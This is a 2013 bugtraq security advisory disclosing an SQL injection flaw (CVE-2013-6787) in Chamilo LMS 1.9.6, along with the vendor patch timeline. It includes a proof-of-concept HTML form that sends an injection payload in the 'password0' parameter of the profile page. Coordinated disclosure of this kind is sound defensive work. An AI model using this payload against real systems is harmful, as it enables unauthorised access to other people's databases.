bugtraq - SQL Injection in Chamilo LMS

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Message-Id: <20131127113530.05A092C52AE6@htbridge.ch>
Date: Wed, 27 Nov 2013 12:35:30 +0100 (CET)
From: High-Tech Bridge Security Research <advisory@...ridge.com>
To: bugtraq@...urityfocus.com
Subject: SQL Injection in Chamilo LMS

Advisory ID: HTB23182
Product: Chamilo LMS
Vendor: Chamilo Association
Vulnerable Version(s): 1.9.6 and probably prior
Tested Version: 1.9.6
Advisory Publication:  November 6, 2013  [without technical details]
Vendor Notification: November 6, 2013 
Vendor Patch: November 9, 2013 
Public Disclosure: November 27, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6787
Risk Level: Medium 
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo LMS, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in Chamilo LMS: CVE-2013-6787

The vulnerability exists due to insufficient validation of "password0" HTTP POST parameter passed to "/main/auth/profile.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example displays version of MySQL server:

<form action="http://[host]/main/auth/profile.php" method="post" name="main">
<input type="hidden" name="password0"  value="' OR substring(version(),1,1)=5 -- ">
<input type="hidden" name="password1"  value="password">
<input type="hidden" name="password2"  value="password">
<input type="hidden" name="apply_change"  value="">
<input type="hidden" name="firstname"  value="first_name">
<input type="hidden" name="lastname"  value="last_name">
<input type="hidden" name="username"  value="username">
<input type="hidden" name="official_code"  value="USER">
<input type="hidden" name="phone"  value="">
<input type="hidden" name="language"  value="">
<input type="hidden" name="extra_mail_notify_invitation"  value="">
<input type="hidden" name="extra_mail_notify_message"  value="">
<input type="hidden" name="extra_mail_notify_group_message"  value="">
<input type="hidden" name="_qf__profile"  value="">
<input type="hidden" name=""  value="">
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability requires that the application is configured during installation not to encrypt users' passwords ("Encryption method" option is set to "none").

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Solution:

Edit the source code and apply changes according to vendor's instructions:.

More Information:
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-10-2013-11-06-Moderate-risk-SQL-Injection-in-specific-unrecommended-case

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References:

[1] High-Tech Bridge Advisory HTB23182 - https://www.htbridge.com/advisory/HTB23182 - SQL Injection in Chamilo LMS.
[2] Chamilo LMS - http://www.chamilo.org/ - Chamilo aims at bringing you the best e-learning and collaboration platform in the open source world.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.